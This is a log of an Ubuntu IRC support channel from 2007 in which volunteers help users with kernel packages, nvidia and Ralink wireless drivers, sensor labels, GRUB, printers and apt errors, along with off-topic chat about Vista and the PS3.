[10:46] <dystopianray> h1st0_: i'm not sure exactly what you'll need to do to build your own ubuntu kernel i'm afraid
[10:46] <bullgard4> dystopianray: I will try to google for it.
[10:46] <blia> ?
[10:46] <dsad> can i take it back to -14?
[10:47] <Some_ux> dystopianray: I dont understand how Hyperthreading makes me get 2 readings for core temperature. Does Hyperthreading involve setting a second diode in the chipset ?
[10:47] <h1st0_> dystopianray: no I'm building a 2.6.22 kernel from kernel.org i'm just wondering if I boot to that instead of the feisty stock kernel and install nvidia drivers if I should remove nvidia-glx package first?
[10:47] <zaidar> dsad, sudo apt-get install linux-image-2.6.20-15-generic
[10:47] <MasonUS> I just found the logging feature in xchat.
[10:48] <linuxnoob> I'm looking for a software raid solution, having come from windows and being new to linux one with a gui would be helpful, I have my os on two hardware raided 9GB drives and three other drives mounted in ubuntu....whats my next step if i want to software raid the three extra drives
[10:48] <MasonUS> 2 places to go for logs.
[10:48] <MasonUS> awesome.
[10:48] <zaidar> dsad, youre on a pc right?
[10:48] <unixslut> hey
[10:48] <leladia> anyone good wit csh?
[10:48] <dsad> zaidar: laptop acer craptop
[10:48] <zaidar> dsad, yup
[10:49] <dystopianray> h1st0_: if the nvidia kernel you install matches nvidia-glx then you should be able to leave it
[10:49] <zaidar> dsad, sudo apt-get install linux-image-2.6.20-15-generic
[10:49] <MasonUS> I've got one of those 350 dollar acer craptops myself.
[10:49] <dsad> i would like -14
[10:49] <MasonUS> works well with the 2gb ram upgrade though.
[10:49] <jonnymac> dum-dum question - how do I detect my integrated webcam
[10:49] <dystopianray> Some_ux: the 'cores' that sensors talk about are probably not cpu cores
[10:49] <dsad> bceause i can still boot to 15 and it isnt that much better
[10:49] <zaidar> dsad, i don't see it in the repos
[10:49] <h1st0_> dystopianray: no.  two completely different kernels with the new one I won't be able to use nvidia-glx
[10:49] <dystopianray> h1st0_: nvidia-glx has nothing to do witht he kernel
[10:49] <dystopianray> h1st0_: as long as you have the a matching nvidia kernel module, it'll work
[10:50] <zaidar> dsad, then sudo apt-get remove --purge linux-image-2.6.20-15-generic
[10:50] <dsad> ty
[10:50] <dystopianray> Some_ux: your cpu may have two temperature probes, or sensors may be giving the wrong names
[10:50] <zaidar> dsad, then sudo apt-get remove --purge linux-image-2.6.20-16-generic i mean
[10:50] <zetheroo> http://hardware.slashdot.org/hardware/07/09/12/1747202.shtml
[10:50] <dsad> zaidar: ok thanks
[10:50] <malqos> i have problem with mplayer, when i would like to open a movie a see: fatal error!error opening/initializing the selected video_out (-vo) device. what can i do?
[10:51] <Irreducibilis> Fatal error? I hope everything is still alive.
[10:51] <zaidar> dsad, then sudo update-grub
[10:51] <Some_ux> dystopianray: I see, so most likely it is reffering to the MB and Core0 temperatures... at least by the numbers i get it makes sense
[10:51] <malqos> yes
[10:51] <malqos> everything its ok
[10:51] <dsad> ok zaidar ty im gona reboot to -15 before i remove 16 tho brb
[10:51] <zaidar> dsad, i'll be here
[10:51] <malqos> but its doesnt work
[10:51] <malqos> :(
[10:51] <malqos> mplayer
[10:53] <Frogzoo> just switched from CRT to LCD, and now after the (full screen) gnome login, I get a cursor, but the desktop doesn't start ?
[10:53] <Frogzoo> first obvious question - does the fglrx support DVI ?
[10:54] <dystopianray> Some_ux: there is a file in /etc/ that you can modify so the sensors are correctly labelled
[10:54] <boontoo> zaidar: im back, what was teh command to fix the grub splash again
[10:55] <dystopianray> frogzoo: it should
[10:55] <dystopianray> frogzoo: if it didn't support dvi you wouldn't see anything
[10:55] <Some_ux> dystopianray: cool, assuming i know which is which :P
[10:56] <Some_ux> doesnt the sesors-detect thinggy do it for me ?
[10:56] <dystopianray> Some_ux: all it does is detect sensor chips, there is no trivial way to detect which sensors are for what
[10:56] <ppj> what's the wireless stumbler program that comes with ubuntu?
[10:56] <ppj> iwspy?
[10:57] <zaidar> boontoo, sudo update-grub
[10:57] <dystopianray> ppj: kismet is great for detecting networks
[10:57] <ppj> yeah i cant apt get anything, no wireless
[10:57] <boontoo> zaidar: yep i did that and stil the grub splash is stuffed
[10:57] <ppj> need the one that comes with ubuntu
[10:58] <Frogzoo> ppj: you probably want kismet
[10:58] <ppj> does that COME with the default ubuntu install?
[10:58] <ppj> or on the cd?
[10:58] <Frogzoo> ppj: network manager is there per default
[10:58] <ppj> not finding it
[10:58] <ppj> yeah
[10:58] <Some_ux> dystopianray: which /etc/ should i mess around with ?
[10:58] <ppj> thats under administration right
[10:58] <dystopianray> ppj: it doesn't but you can install it
[10:59] <dystopianray> Some_ux: /etc/sensors or similar iirc
[10:59] <ppj> dystopianray: i have no connection until wireless works
[10:59] <zaidar> boontoo, you can get to 2.6.20-15 though right?
[10:59] <rausb0> ppj: are you sure your wireless card is supported at all? which chipset is it?
[10:59] <boontoo> zaidar: yep now i have to do the whole alsa thing again coz i entirely purged it before to try to get it to work
[10:59] <ppj> it's showing up in device manager as Wireless USB-G network adapter, it's a linksys USB card
[11:00] <zaidar> boontoo, you have a cosmetic problem with grub then... don't worry
[11:00] <rausb0> ppj: which chipset? that is important
[11:00] <dystopianray> ppj: does 'iwconfig' show a wireless interface?
[11:00] <zaidar> boontoo, you can fix that easily
[11:00] <ppj> yeah iwconfig shows "rsbaud1"
[11:00] <Some_ux> dystopianray: /etc/sensors.conf ?
[11:00] <ppj> not sure if thats it or not
[11:00] <boontoo> zaidar: i installed a custom one ages ago and it didnt fit the screen it was some matrix headjob retardation and its just the worst
[11:01] <ppj> lo and sit0 are empty
[11:01] <rausb0> ppj: rsbaud1?
[11:01] <dystopianray> Some_ux: that's the one
[11:01] <zaidar> boontoo, just go to your desktop and hit alt+f2 then type  gksu gedit /boot/grub/menu.lst and get rid of the stanzas you don't want
[11:01] <ppj> rausb1
[11:01] <ppj> i mean
[11:01] <ppj> that must be it, i'm just not sure what to use to actually find any wireless networks
[11:02] <ppj> i swore i had a wifi program last time i installed ubuntu
[11:02] <rausb0> ppj: then it is a ralink chipset. network manager does not work with ralink chipsets.
[11:02] <ppj> sweet
[11:02] <ppj> whatn ow?
[11:02] <dystopianray> ppj: ndiswrapper should work with network-manager
[11:03] <rausb0> ppj: you must configure the card on the command line, using iwconfig and iwpriv commands
[11:03] <ppj> I see the lease on my router
[11:03] <boontoo> zaidar: found it splashimage (hd0,0)/boot/grub/images/splash.xpm.gz <-- *glares intensly*
[11:03] <ppj> k
[11:03] <rausb0> ppj: you mean you get an ip address from the router?
[11:04] <zaidar> boontoo, oh i thought you had extra kernel menu entries in GRUB .. just comment that line out to get rid of the splashimage
[11:04] <rausb0> ppj: then it must be working. can you ping the ip adress of the router?
[11:04] <boontoo> zaidar: ty for ur help i will probably need more help soon though hah
[11:04] <ppj> rausb0: naw its not pulling an ip but i see the mac address on the router, might have been the boot process of it
[11:05] <ppj> i mean it received a dhcp lease
[11:05] <ppj> but i'm sure if i checked the logs it'd be just a boot ack
[11:05] <rausb0> ppj: huh? a dhcp lease _is_ getting a ip address
[11:05] <zaidar> boontoo, i'll be idling here for a while..today is the first day of Ramadan so i have to eat before the dawn... just pm me to get my attention
[11:06] <ppj> rausb0: i don't feel like explaining the boot/arp process of nics
[11:06] <boontoo> zaidar: ty
[11:06] <ppj> the dhcp was granted on the router but the PC never recieved the information
[11:06] <ppj> it's just the boot process
[11:06] <zaidar> boontoo, you're quite welcome
[11:07] <rausb0> ppj: btw, what type of wireless encrytion do you use?
[11:07] <ppj> nada right now just trying to get this thrown up, i'm in a pretty remote area
[11:07] <ppj> the wireless doesn't have access  to much
[11:08] <rausb0> ppj: so no encryption?
[11:08] <[nrx] > yay. all working again :)
[11:08] <ppj> no encyption
[11:09] <Some_ux> the internet is a handy thing. someone has already done these changes for my M2NPV-VM MB.
[11:09] <Some_ux> in the /etc/sensors.conf file
[11:09] <rausb0> ppj: okay. i wonder why the interface is named "rausb1" (meaning the second ralink usb interface). is there no "rausb0"?
[11:09] <tom94130> Hi, please could some one help, I have  a problem with update manager wanting to update a package but the "from" and "to" versions are the same.  The update reports successful, but the update manager tells me the same update is still available.  What can I do to rectify this?
[11:10] <ppj> rausb0: hm, nope, just a "lo" "sit0" and "rausb"
[11:10] <dystopianray> Some_ux: so why do the sensor labels not match up?
[11:10] <ppj> was there a point of the install process i picked a root password or just user password?
[11:10] <exodos> is it possible to create partition with size of ~4.5TB
[11:10] <ppj> i always do this
[11:10] <[nrx] > what's the best window manager to use? what do people think is best?
[11:10] <dystopianray> ppj: only a user password, there is no root login with ubuntu by default
[11:11] <dystopianray> [nrx] : twm
[11:11] <ppj> [nrx] : personal pref
[11:11] <[nrx] > ppj, yeah. dystopianray, why twm?
[11:11] <dystopianray> exodos: doesn't the MBR have a 2TB limit?
[11:11] <dystopianray> [nrx] : twm is awesome
[11:11] <Some_ux> dystopianray: I meant that someone has already come accross my problem and edited the sensors.conf file, so i dont have to break my head which sensors does what
[11:11] <zaidar> [nrx] , fvwm is great for me
[11:11] <dystopianray> [nrx] : it increases productivity
[11:11] <ppj> my god i havent used linux in so long
[11:11] <dystopianray> Some_ux: so your sensors are labelled correctly?
[11:12] <[nrx] > what about desktops?
[11:12] <dystopianray> [nrx] : kde
[11:12] <[nrx] > yeah, i'm thinking of switching to KDE
[11:12] <ppj> rausb0: if I change the ESSID to my routers ssid, theoretically thats it?
[11:12] <[nrx] > not really a fan of gnome
[11:12] <ppj> (it's dhcp of course)
[11:12] <[nrx] > that's my next tast :)
[11:12] <[nrx] > task*
[11:13] <rausb0> ppj: should be sufficient
[11:13] <rausb0> ppj: iwconfig rausb1 essid YOUR_ESSID
[11:14] <weka> i need to get the cups web interface working local .. because as i understand it will not by default accept remote connections ( am i correct here ? ) so therefor need X .. how can i install X ?
[11:14] <ppj> yeah i did it, no change, making sure my ssid is what i think it is
[11:14] <Some_ux> dystopianray: i am trying to understand which lines i need to edit
[11:14] <rausb0> ppj: can you do   iwlist rausb1 scan ?
[11:14] <ppj> no results
[11:14] <ppj> hm
[11:14] <rausb0> ppj: that should scan for available APs
[11:15] <riaal> You ppl get a lot of ssh login atempts from stuff like ip@extendedhost.com etc.?
[11:15] <ppj> yeah
[11:15] <ppj> interesting
[11:15] <ppj> i figured i'd have a problem with a usb nic
[11:15] <[nrx] > riaal, everyone does
[11:15] <rausb0> ppj: can you burn a cd on the machine your are chatting from?
[11:16] <[nrx] > dystopianray, kdm or gdm?
[11:16] <dystopianray> riaal: if you weren't getting frequent ssh login attempts, that'd be a concern!
[11:16] <riaal> [nrx] , that sucks, are you safe with a good password?
[11:16] <dystopianray> [nrx] : kdm
[11:16] <[nrx] > riaal, always :)
[11:16] <[nrx] > dystopianray, k
[11:16] <ppj> i'd be pretty hard pressed to find another blank, but i've got external harddrives
[11:16] <dystopianray> ppj: use ndiswrapper
[11:17] <[nrx] > i remember messing around with ndiswrapper for me dwl g650+ card
[11:17] <[nrx] > what a nightmare it was at the time
[11:17] <dystopianray> the only hard part about ndiswrapper is finding a driver for windows
[11:17] <[nrx] > yeah
[11:17] <[nrx] > but getting the RIGHT one
[11:18] <dystopianray> riaal: what good is ps3 linux?
[11:18] <finn> when the dependencies say "GLib  >=2.8.0"    what ubuntu packet do I install?
[11:18] <[nrx] > i run WBEL on 2nd desktop and ubuntu on 2 laptops :)
[11:18] <dystopianray> finn: you should already have glib
[11:18] <dystopianray> [nrx] : WBEL?
[11:18] <riaal> dystopianray, lol, I have no ide at all :)
[11:18] <VSpike> Is there any way I can find which processes are using a mounted device or filesystem?
[11:18] <ppj> installing ndis now
[11:18] <Some_ux> dystopianray: apparently, the sensors.conf files does contain some of the correct labels, but they are commented out.
[11:18] <finn> how can I check what version I have?
[11:18] <dystopianray> Some_ux: ah i see
[11:18] <riaal> dystopianray, I was hoping xvid playback would be good but, naah
[11:19] <[nrx] > dystopianray, based on RHEL (White Box Enter.. blah)
[11:19] <dystopianray> riaal: there is only so much that can be done with the crippled video capabilities
[11:19] <[nrx] > lol
[11:19] <ppj> ndiswrapper looks fun
[11:19] <ppj> ...
[11:20] <Some_ux> dystopianray: the trick is figuring out what type of MB chipset you have, in my case, i believe it is "it8716-*" though the motherboard is ASUS M2NPV-VM
[11:20] <[nrx] > it's easy
[11:20] <[nrx] > just get the right win driver :)
[11:20] <ppj> think i've got the driver cd for xp
[11:20] <dystopianray> Some_ux: sensors will tell you the chip it is reading from
[11:20] <ppj> that'll do right
[11:20] <rausb0> ppj: if you use ndiswrapper, you have to blacklist the ralink drivers first, so they do not get in the way
[11:20] <riaal> dystopianray, yeh, It works great, just a bit slow.. Then again it is a playstation
[11:20] <ppj> fun times
[11:21] <ppj> i should probably just go buy a nice pcmcia card
[11:21] <dystopianray> riaal: it's only slow becuase sony cripples it on purpose for linux
[11:21] <[nrx] > nah
[11:21] <ppj> are they $20 yet?
[11:21] <dystopianray> ppj: if you have the driver cd just use ndiswrapper
[11:21] <riaal> dystopianray, seriously?
[11:21] <[nrx] > i got a nice new HP at the weekend. Came with Vista.
[11:22] <[nrx] > it's already BSOD'd. Last night.
[11:22] <Tuzlak> vista == 0
[11:22] <TeePOG> you kept Vista for more than 24 hours?
[11:22] <[nrx] > i know, I shouldn't swear in here
[11:22] <VSpike> heh I love the way mkfs doesn't do any "are you sure?" prompting... that's so linux
[11:22] <[nrx] > it's my gf's laptop for her uni :P
[11:22] <Jork> Vista sucks
[11:22] <[nrx] > VSpike, lol
[11:22] <VSpike> My computer trusts me :)
[11:23] <dystopianray> riaal: yes, linux runs under a hypervisor with crippled hardware access
[11:23] <dystopianray> riaal: linux can't directly touch the ps3 hardware, it's at the mercy of sony
[11:23] <riaal> dystopianray, that sucks, why would they do that? :S
[11:23] <Sajes> [nrx] , does it suck that much?
[11:24] <[nrx] > Sajes, it's nice for users. It looks pretty and has fancy stuff.
[11:24] <ogamiitto> sound has dissapeared from one boot to another, lspci shows the card, sound works booting with ubuntu 7.04 cd, any help?
[11:24] <tom94130> can any one help with a problem with update manager
[11:25] <dystopianray> riaal: they don't want people making games for ps3 linux
[11:25] <ppj> sweet, http://ubuntuforums.org/showthread.php?t=177836&highlight=xubuntu+wusb54g
[11:25] <ppj> thats me
[11:25] <riaal> dystopianray, lol, insain
[11:25] <Sajes> dystopianray, Why not? Wouldn't that make Sony more money?
[11:26] <dystopianray> Sajes: yeah they'll get plenty of money from people playing all the free games and emulators :)
[11:26] <VSpike> Are there any good guides to different approaches on how to organise your personal data in linux, and how to organise disks and partitions?
[11:26] <dystopianray> Sajes: every ps3 is sold at a loss, they only make profit on software
[11:26] <Sajes> They could do what Bill does. PlayLive.
[11:26] <Sajes> Download the games for $50 a year.
[11:26] <rausb0> ppj: that's an earlier revision of that stick, using prism usb chipset. yours has ralink.
[11:27] <dystopianray> you can buy games from the xbox marketplace
[11:27] <rausb0> ppj: you know, hardware manufacturers keep changing chipsets without renaming the wlan sticks
[11:27] <ppj> rausb0: i assumed the process was the same just different driver.. no?
[11:27] <rausb0> ppj: true
[11:28] <rausb0> ppj: just wanted to point out that "Linksys WUSB54G" is not always the same hardware
[11:28] <ppj> yeah i've got v4
[11:28] <gordonjcp> what package do I need to get the Gimp to load photoshop PSDs?
[11:29] <hangthedj> whats the equivalent to kdialog for gnome?
[11:29] <gordonjcp> hangthedj: gmessage?
[11:29] <gordonjcp> hangthedj: something that pops up a dialogue box from a shell script?
[11:30] <hangthedj> gordonjcp, yes, so gmessage?
[11:30] <boontoo> brb
[11:30] <hangthedj> gordonjcp, thanks
[11:32] <finn> ./waf configure && ./waf && ./waf install             gtk+-2.0 is required
[11:32] <finn> what packet will I need to install to solve that?
[11:32] <Sajes> gtk+-2.0?
[11:33] <finn> apt-cache search gtk+-2.0  returns nothing
[11:33] <gordonjcp> finn: you want one of the -dev packages anyway
[11:34] <finn> libgtk2.0-dev  ?
[11:34] <Sajes> It's on the Ubuntu install disc. Put that in and load up Synaptic.
[11:35] <hangthedj> libgtk2.0-dev is right
[11:35] <finn> don't have any cd around anymore
[11:35] <hangthedj> if your compiling and it needs gtk2.0
[11:35] <finn> now it wants libglade-2.0   how annoying :/
[11:35] <hangthedj> libglade2.0-dev ;)
[11:36] <Sajes> I'm off to sleep. Night everyone.
[11:36] <finn> night
[11:37] <finn> aw come on
[11:37] <finn> now it wants xmms2-client even though I have it installed
[11:37] <hangthedj> what are you trying to install?
[11:38] <clip> can sb. help me out with phpmotion on my linux server, i only get a blank screen...
[11:38] <finn> a client for xmms2
[11:38] <gordonjcp> finn: have you got xmms2-client-dev installed?
[11:38] <gordonjcp> finn: remember, just because you have a package installed it doesn't mean you have its development headers installed
[11:38] <hangthedj> libxmmsclient++-dev libxmmsclient-dev
[11:38] <finn> would that be xmms2-devel.git ?
[11:39] <lamer11896763017> hi I have just installed ubuntu server for the first time. How do I enable a root account so I can su?
[11:39] <hangthedj> or xmms2-dev
[11:39] <rockets> lamer11896763017, dont do that
[11:39] <rockets> lamer11896763017, just do sudo -i
[11:39] <lamer11896763017> why?
[11:39] <rockets> lamer11896763017, because its more secure not to have a root password
[11:39] <lamer11896763017> I've used a root account for years without any issues,
[11:39] <rockets> everybody tries to hack root.
[11:39] <rockets> lamer11896763017, you can do whatever you want. its still a bad idea.
[11:39] <rockets> passwd root
[11:39] <lamer11896763017> yeah but no one has access to it
[11:40] <rockets> its just a bad habit to get into
[11:40] <hangthedj> sudo passwd
[11:40] <faileas> well
[11:40] <faileas> if you need 'su' you can sudo su i suppose?
[11:40] <hangthedj> just make your password big
[11:40] <Gyoza> Problem: mouse pointer freezes for a second and audio stutters.  Both seem to happen at the same time.
[11:40] <rockets> or you can just do sudo -i or sudo -s
[11:40] <rockets> Gyoza, time for a new computer?
[11:41] <lamer11896763017> ah great thanks
[11:41] <lamer11896763017> sanity at last
[11:41] <rockets> or lack therof.
[11:41] <Gyoza> rockets, my wife got the new computer.
[11:41] <Gyoza> She needed the extra power just to boot Vista.
[11:41] <lamer11896763017> well, if it's a server on my home local network behind 2 firewalls I think the risk is minimal
[11:41] <rockets> screw vista
[11:41] <Gyoza> rockets, then I need help with the problem.  heh
[11:41] <rockets> And I don't mean that in a screw window sort of way. When I run windows I run XP
[11:42] <Gyoza> This laptop is running very well with Ubuntu. Better than XP was running.
[11:42] <sztj> nihao
[11:42] <lamer11896763017> another question - I have 2 SATA disks in the server. How do I set these up? Is there any built in tools, or do I need to manually partition, mkfs and update mount info etc
[11:42] <Gyoza> Other than the mouse pointer and audio stutter.
[11:43] <Some_ux> ok, typically, which is higher ? the cpu temperature or the MB
[11:43] <Gyoza> I guess I must Google instead. heh
[11:43] <rockets> lamer11896763017, the installer lets you partiton but if you've already installed, then yes you need to do cfdisk and mkfs and all that.
[11:43] <Moniker42> hey, can anyone think of a reason why a sata drive would work in ubuntu but not be detected by the bios and break the windows xp cd?
[11:43] <rockets> lamer11896763017, you COULD install X and use a gui tool.
[11:43] <rockets> but why.
[11:43] <lamer11896763017> sure ok thx
[11:43] <VSpike> Some_ux: depends what you mean by mb temp
[11:44] <Some_ux> well, i have two readings, one is 27 the other is 42
[11:44] <[nrx] > is there an applet for kde/kdm the same as the one for gnome to show network activity/status/monitor? to sit in the panel?
[11:45] <Blauhaut> is there a tiny calculator for ubuntu ?
[11:45] <Moniker42> can anyone think of a reason why a sata drive would work in ubuntu but not be detected by the bios and break the windows xp cd?
[11:45] <Moniker42> Blauhaut, apps>>accessories>>calculator
[11:45] <ompaul> Blauhaut, xcalc is small
[11:46] <Moniker42> it's at the top left of the screen
[11:46] <frogzoo> Blauhaut: bc is cli
[11:46] <ari_stress> hi guys
[11:46] <ari_stress> is cpanel can be installed on ubuntu?
[11:46] <[nrx] > not in KDE/KDM it's not
[11:46] <VSpike> Some_ux: my CPU is 25C, drives 28C to 38C depending on age, PWM temp 42C, System (ambient case) 32C
[11:46] <lamer11896763017> I'm setting up a server to share files basically, big video files. What would anyone suggest to do that? NFS? sshfs? samba? something else?
[11:46] <steel_lady> I am trying to work but the system behaves crappy, freezing a lot and 'thinking'. How can I discover whiich process makes problems or if I am short on RAM?
[11:47] <VSpike> Some_ux: this board doesn't measure NB or chipset temperature, but on my last board it was usually 30-40C depending on how much I overclocked it :)
[11:47] <[nrx] > anyone? :)
[11:47] <Moniker42> !ram > steel_lady
[11:47] <ompaul> ari_stress, http://www.cpanel.net/products/cPanelandWHM/linux/sys_requirements.htm says no
[11:47] <VSpike> Some_ux: nothing overclocked here atm
[11:47] <VSpike> Blauhaut: tiny in what sense? qalc from command line is great
[11:48] <Some_ux> No overclocking here, maybe underclocking as i use CoolNquiet
[11:48] <ari_stress> thanks ompaul
[11:48] <VSpike> Some_ux: same here
[11:48] <Blauhaut> ehe ok i got what i am looking for t
[11:48] <steel_lady> ok Moniker, I will see
[11:48] <VSpike> [nrx] : system guard will do it
[11:51] <mysticalzero> Hi, sometimes i got an error message "I/O error" when trying to browse my secondary harddisk. Does this mean that my harddisk is going to fail soon? Can anyone enlighten me about this?
[11:51] <sauvin> Depends on the nature of the error :\
[11:51] <gordonjcp> mysticalzero: could be a lot of things
[11:51] <[nrx] > VSpike, is there nothing that comes natively with KDE?
[11:51] <ybite> si2l_silvi@yahoo.com
[11:51] <sauvin> Is the secondary external?
[11:51] <[nrx] > I liked the one I had with gnome
[11:51] <gordonjcp> mysticalzero: dmesg might have some messages
[11:52] <mysticalzero> nope, it is an internal sata hdd.
[11:52] <mysticalzero> This is what i got: end_request: I/O error, dev sda, sector 106451224
[11:52] <jonnymac> how can I get my integrated webcam working, please?
[11:53] <VSpike> [nrx] : I think system guard is part of kde.  Actually I don't like it much, but there's nothing else.  KDE is really weak in this area.  There's lots of stuff to go on the desktop like gkrellm and superkaramba widgets, but i never see the point of those.  The only time I see my desktop is after I login
[11:53] <zetheroo> install a printer....
[11:53] <VSpike> [nrx] : for network monitoring, someone ported a classic wxwindows widget to kde but i forget what the name was
[11:54] <jonnymac> and for setting up the mail thing, what kind of a server is google?
[11:54] <clip> how do i change my cgi-bin directory? mine is somehow in a strange place....
[11:55] <zetheroo> can someone help me install a printer?
[11:55] <h1st0> !apache | clip
[11:55] <Ubotu> clip: LAMP is an acronym for Linux-Apache-MySQL-PHP. However, the term is often used for setups using alternative but different software, such as Perl or Python instead of PHP, and Postgres instead of MySQL. For help with setting up LAMP on Ubuntu, see  https://help.ubuntu.com/community/ApacheMySQLPHP - See also the Server CD installation process (different in Edgy+)
[11:55] <h1st0> zetheroo: what type of printer?
[11:55] <zetheroo> FujiXerox DocuPrint 203A
[11:55] <h1st0> zetheroo: did you try System > administration > Printing?
[11:55] <[nrx] > VSpike, thanks
[11:56] <zetheroo> yes... does nto find it
[11:56] <h1st0> !printer | zetheroo
[11:56] <h1st0> check out the links from Ubotu
[11:56] <zetheroo> huh?
[11:56] <zetheroo> what is !printer?
[11:57] <Myrtti> !cups
[11:57] <Ubotu> zetheroo: Printing in Ubuntu is done with cups. See https://help.ubuntu.com/community/Printers - https://wiki.ubuntu.com/HardwareSupportComponentsPrinters - http://www.linux-foundation.org/en/OpenPrinting - Printer sharing: https://wiki.ubuntu.com/NetworkPrintingFromWindows
[11:57] <Ubotu> Printing in Ubuntu is done with CUPS. See https://help.ubuntu.com/community/Printers - https://wiki.ubuntu.com/HardwareSupportComponentsPrinters - http://linuxprinting.org - Printer sharing: https://wiki.ubuntu.com/NetworkPrintingFromWindows
[11:57] <Myrtti> doh
[11:57] <Myrtti> he's lagging
[11:57] <h1st0> Myrtti: it was just being slow
[11:57] <zetheroo> oh no man... I don't want to have to read all that
[11:58] <nalpha> Anyone already try to access linksys wvc200 from firefox in ubuntu?
[11:59] <ppj> why does gedit not work while root
[11:59] <h1st0> zetheroo: well I don't have your specific printer so if you would check the hardwaresupportcomponentsprinters link it will show you if your hardware works
[11:59] <h1st0> ppj: use gksu
[11:59] <ppj> thank you
[12:00] <ppj> that was annoying
[12:00] <h1st0> ppj: yeah use gksu for any GUI apps that you need sudo for.
[12:00] <pequatre> hey guys. lil problem: i start compiz with "compiz --replace" but how do you fall back to classic metacity, i.e. quit compiz ? thx.
[12:00] <menisk> Can someone help me with installing the Brand new FGLRX drivers(8.41.7)? They are chucking a mental at me and not saying why.
[12:00] <h1st0> !ati | menisk
[12:00] <Ubotu> menisk: To install the Ati/NVidia drivers for your video card, see https://help.ubuntu.com/community/BinaryDriverHowto
[12:00] <h1st0> pequatre: metacity --replace
[12:00] <VSpike> zetheroo: http://openprinting.org/show_printer.cgi?recnum=FujiXerox-Docuprint_203A
[12:01] <pequatre> h1st0, thx :)
[12:01] <h1st0> pequatre: np
[12:01] <VSpike> zetheroo: listed as a paperweight, I'm afraid
[12:01] <zetheroo> oh no
[12:01] <menisk> h1st0, that is instructions for 8.34.8 old ones.
[12:01] <h1st0> zetheroo: you can go get a printer for free with rebates at bestbuy.
[12:01] <jonnymac> how safe is ubuntu from hackers, spyware and viruses
[12:01] <h1st0> zetheroo: its cheaper than by new cartridges to get a new printer usually
[12:01] <menisk> h1st0, I need help with 8.41.7
[12:02] <h1st0> jonnymac: very safe
[12:02] <jonnymac> may I ask why?
[12:02] <faileas> jonnymac: as with any OS, as safe as the user makes it
[12:02] <visioncig> hehe
[12:02] <h1st0> !security | jonnymac
[12:02] <Ubotu> jonnymac: If you feel the need to adopt security measures for your system, check out https://help.ubuntu.com/community/Security - See also !root, !firewall and !server
[12:03] <faileas> if you run all the time as root, don't update, and have unessary services running, any OS can be insecure ;)
[12:03] <jonnymac> I mean I've been on ubuntu for three days and it's brilliant, I've found everything I need to use it better, quicker and safer than Windows
[12:03] <jonnymac> And I know nothing about computers
[12:03] <faileas> ;)
[12:03] <VSpike> jonnymac: you're in the best position there... trying to unlearn windows and learn linux is hard work :)
[12:04] <faileas> naw
[12:04] <kont_> xchat no icon..i can't see
[12:04] <faileas> linux isn't that hard ;)
[12:04] <jonnymac> all I need to do now is get my integrated webcam working
[12:04] <VSpike> faileas: it isn't, but unlearning years of something else is
[12:04] <ppj> yeah.. it's not hard, it's just different
[12:04] <magnetron> jonnymac: because it has less bugs. the main threat to computers is not hackers, but malfunction. article in NY times on this subject: http://www.nytimes.com/2007/09/12/technology/techspecial/12threat.html?_r=1&ref=technology&oref=slogin
[12:04] <jonnymac> ty
[12:04] <h1st0> !webcam | jonnymac
[12:04] <Ubotu> jonnymac: Instructions for using webcams with Ubuntu can be found at https://help.ubuntu.com/community/Webcam - Supported cams: https://wiki.ubuntu.com/HardwareSupportComponentsMultimediaWebCameras
[12:05] <jonnymac> !webcam??
[12:05] <Ubotu> Sorry, I don't know anything about webcam?? - try searching on http://ubotu.ubuntu-nl.org/factoids.cgi
[12:05] <x_> hi everyone   i need some help... during the update i have this erroe message... what's wrong ????:
[12:05] <h1st0> jonnymac: the links from the bot ubotu may be of interest
[12:05] <h1st0> x_: what update?
[12:05] <magnetron> read the messages from Ubotu
[12:05] <snooo> there is a media centre type application which opens full screen and acts a little like MythTV, but without the ability to record TV broadcasts. I can't remember the name, would anyone here remember it?
[12:05] <x_> ubuntu updates
[12:05] <jonnymac> and that ubotu chap is the technological equivalent of Ibid!!
[12:05] <gabbarinho> hello
[12:05] <x_> Could not initialize the package information
[12:05] <x_> A unresolvable problem occurred while initializing the package information.
[12:05] <x_> Please report this bug against the 'update-manager' package and include the following error message:
[12:05] <x_> 'E:Dynamic MMap ran out of room, E:Error occurred while processing sylpheed (NewVersion1), E:Problem with MergeList /var/lib/apt/lists/dk.archive.ubuntu.com_ubuntu_dists_feisty_universe_binary-i386_Packages, E:The package lists or status file could not be parsed or opened.'
[12:06] <faileas>  VSpike: dos, win 95, 98, ME, XP. I use linux on and off for the past maybe 2 years. the learning curve is actually quite shallow, IMO, and ubuntu and most other commercialish distros kinda don't have the madness of editing config files hidden somewhere for everything
[12:06] <h1st0> snooo: any mpeg2 player can open your capture card
[12:06] <j4ck> gk
[12:06] <magnetron> !paste | x_
[12:06] <Ubotu> x_: pastebin is a service to post large texts so you don't flood the channel. The Ubuntu pastebin is at http://paste.ubuntu-nl.org (make sure you give us the URL for your paste - see also the #ubuntu channel topic)
[12:06] <faileas> x_ use a pastebin for dog's sake.
[12:06] <faileas> *god
[12:06] <x_> i did
[12:06] <gabbarinho> question for mac and ubuntu users - how similar are beryl and expose?
[12:06] <x_> what the hell is wrong with my laptop??
[12:06] <gabbarinho> this is basically a "can i sell my mac" question :)
[12:07] <faileas> x_: no. you pasted it on channel
[12:07] <h1st0> x_: no you need to post the output on pastebin not in the channel  look at the website from ubotu
[12:07] <x_> can u tel me how y i can do it_!
[12:07] <amorphous__> could someone do me a favour here?... try to connect to www.pandora.com. I can't get into it & want to know if it's down..
[12:08] <faileas> x_: scroll up. read what Ubotu said.
[12:08] <h1st0> x_: highlight the output go to the website from Ubotu and paste it there instead of in the channel.  Then give us a link for the pastebin
[12:08] <ppj> heh, i take it if ndiswrapper -l says "driver installed // wusb54g invalid driver!" its bad
[12:08] <x_> ooook
[12:08] <x_> thaks:-)
[12:09] <ali1234> i copied my whole ubuntu install to another HD using "cp -a" ... everything works except cadsoft eagle, which i was previously using in freeware mode. now it asks me for a licence key when i run it... any ideas?
[12:09] <wiz> can someone point me where's privacy lists controls in gajim?..
[12:09] <faileas> amorphous__: ir seeps slow as molasses
[12:10] <faileas> ...
[12:10] <h1st0> ali1234: cp -a you probably didn't get everything
[12:10] <faileas> amorphous__: its taking VERY long to load
[12:11] <medfly> can i make a terminal work with ISO-8859-8 and make it show a language as right to left?
[12:11] <h1st0> ali1234: do you still have the original data?
[12:11] <ali1234> h1st0: yeah but the hard drive is dying :)
[12:11] <medfly> basically: can i read / write hebrew on terminal? :P
[12:12] <ompaul> medfly, yes, join #ubuntu-il for more instructions :)
[12:12] <brian_> brian_fish
[12:12] <ompaul> !il
[12:12] <Ubotu>         :
[12:12] <Ubotu> /join #ubuntu-il
[12:12] <faileas> its a pretty language ;p
